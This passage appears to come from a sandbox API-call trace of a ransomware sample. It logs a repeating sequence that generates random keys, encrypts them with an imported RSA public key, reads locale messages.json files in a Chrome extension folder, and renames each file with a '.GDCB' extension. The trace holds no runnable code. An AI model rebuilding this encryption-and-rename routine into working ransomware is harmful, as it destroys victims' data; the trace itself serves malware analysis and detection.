phKey=0x285cd20*=0x67926a0) returned 1 [0259.603] CryptGetKeyParam (in: hKey=0x67926a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.603] CryptEncrypt (in: hKey=0x67926a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.603] GetLastError () returned 0x0 [0259.603] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.603] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0259.605] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792360) returned 1 [0259.605] CryptGetKeyParam (in: hKey=0x6792360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.605] CryptEncrypt (in: hKey=0x6792360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.605] GetLastError () returned 0x0 [0259.605] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.605] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.607] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.609] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.612] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x119, lpOverlapped=0x0) returned 1 [0259.621] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.628] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0259.634] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.639] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.639] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.639] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.639] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.642] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.644] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.644] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.644] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0259.647] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792460) returned 1 [0259.647] CryptGetKeyParam (in: hKey=0x6792460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.647] CryptEncrypt (in: hKey=0x6792460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.647] GetLastError () returned 0x0 [0259.647] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.647] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.649] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67927e0) returned 1 [0259.649] CryptGetKeyParam (in: hKey=0x67927e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.650] CryptEncrypt (in: hKey=0x67927e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.650] GetLastError () returned 0x0 [0259.650] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.650] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.651] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.654] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.657] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x152, lpOverlapped=0x0) returned 1 [0259.667] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.675] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0259.681] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0259.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.686] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.687] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.687] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.687] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.692] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.693] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.693] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.693] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.695] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792560) returned 1 [0259.695] CryptGetKeyParam (in: hKey=0x6792560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.695] CryptEncrypt (in: hKey=0x6792560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.696] GetLastError () returned 0x0 [0259.696] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.696] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.698] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67926e0) returned 1 [0259.698] CryptGetKeyParam (in: hKey=0x67926e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.698] CryptEncrypt (in: hKey=0x67926e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.698] GetLastError () returned 0x0 [0259.698] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.698] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.699] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.702] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.705] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x112, lpOverlapped=0x0) returned 1 [0259.714] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.721] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0259.726] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.729] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.731] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.731] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.731] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.731] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.734] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.736] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.736] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.737] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.739] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67924a0) returned 1 [0259.739] CryptGetKeyParam (in: hKey=0x67924a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.739] CryptEncrypt (in: hKey=0x67924a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.739] GetLastError () returned 0x0 [0259.739] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.739] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.741] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792120) returned 1 [0259.741] CryptGetKeyParam (in: hKey=0x6792120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.741] CryptEncrypt (in: hKey=0x6792120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.741] GetLastError () returned 0x0 [0259.741] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.741] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.743] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.745] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.748] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x10c, lpOverlapped=0x0) returned 1 [0259.757] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.764] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0259.769] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.774] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.774] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.776] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.778] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.778] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.778] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.778] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.780] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67927a0) returned 1 [0259.780] CryptGetKeyParam (in: hKey=0x67927a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.780] CryptEncrypt (in: hKey=0x67927a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.781] GetLastError () returned 0x0 [0259.781] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.781] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0259.783] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792220) returned 1 [0259.783] CryptGetKeyParam (in: hKey=0x6792220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.783] CryptEncrypt (in: hKey=0x6792220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.783] GetLastError () returned 0x0 [0259.783] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.783] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.784] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.787] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.789] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x11f, lpOverlapped=0x0) returned 1 [0259.798] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.805] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0259.811] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.817] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.817] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.817] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.822] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.822] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.822] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.824] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67924e0) returned 1 [0259.824] CryptGetKeyParam (in: hKey=0x67924e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, 